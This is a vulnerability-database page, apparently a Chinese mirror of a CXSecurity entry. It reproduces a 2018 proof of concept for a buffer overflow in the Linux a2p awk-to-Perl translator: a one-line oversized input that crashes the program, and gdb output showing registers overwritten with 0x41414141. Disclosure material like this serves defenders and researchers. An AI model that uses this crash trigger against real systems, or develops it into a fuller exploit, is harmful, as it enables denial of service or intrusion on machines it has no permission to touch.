Linux Awk To Perl Translator Buffer Overflow - CXSecurity.com

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漏洞ID 1215619 漏洞类型
发布时间 2018-07-08 更新时间 2018-07-08
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2018070094
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#
#
#  Linux Awk to Perl translator `/usr/bin/a2p` Buffer Overflow (PoC)
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#
#   
#  Use them at your own risk!
#
# 

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x1060	4192
ecx            0x1	1
edx            0x41414141	1094795585
ebx            0x880ff4	8916980
esp            0xbffff0f0	0xbffff0f0
ebp            0xbffff118	0xbffff118
esi            0x41414141	1094795585
edi            0x8062920	134621472
eip            0x74ee65	0x74ee65 <fgets+53>
eflags         0x210216	[ PF AF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)